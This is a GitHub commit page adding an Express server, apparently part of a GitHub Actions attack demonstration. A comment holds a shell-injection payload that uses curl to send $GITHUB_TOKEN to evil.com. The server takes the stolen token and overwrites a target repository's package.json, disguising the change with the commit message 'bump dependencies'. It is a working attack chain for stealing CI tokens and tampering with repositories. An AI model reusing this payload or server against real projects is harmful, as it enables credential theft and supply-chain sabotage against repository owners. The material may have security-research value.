Skip to content

Commit cacdb94

Browse files
authored
Create server.js
1 parent 4564315 commit cacdb94

File tree

1 file changed

+52
-0
lines changed

1 file changed

+52
-0
lines changed

attacks/api/express/server.js

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
// see https://securitylab.github.com/research/github-actions-untrusted-input/
2+
//
3+
// @example
4+
// ```shell
5+
// a"; set +e; curl http://evil.com?token=$GITHUB_TOKEN;#.
6+
// ```
7+
const express = require('express');
8+
const github = require('@actions/github');
9+
const app = express();
10+
const port = 80;
11+
12+
app.get('/', async (req, res, next) => {
13+
try {
14+
const token = req.query.token;
15+
const octokit = github.getOctokit(token);
16+
const fileContent = Buffer
17+
.from('{\n}')
18+
.toString('base64');
19+
20+
// this is a targeted attack, repo name can be hardcoded
21+
const owner = 'owner';
22+
const repo = 'repository';
23+
const branchName = 'main';
24+
const path = 'package.json';
25+
26+
const content = await octokit.repos.getContent({
27+
owner: owner,
28+
repo: repo,
29+
ref: branchName,
30+
path: path
31+
});
32+
33+
await octokit.repos.createOrUpdateFileContents({
34+
owner: owner,
35+
repo: repo,
36+
branch: branchName,
37+
path: path,
38+
message: 'bump dependencies',
39+
content: fileContent,
40+
sha: content.data.sha
41+
});
42+
43+
res.sendStatus(200);
44+
next();
45+
} catch (error) {
46+
next(error);
47+
}
48+
});
49+
50+
app.listen(port, () => {
51+
console.log(`Listening at http://localhost:${port}`);
52+
});

0 commit comments

Comments
 (0)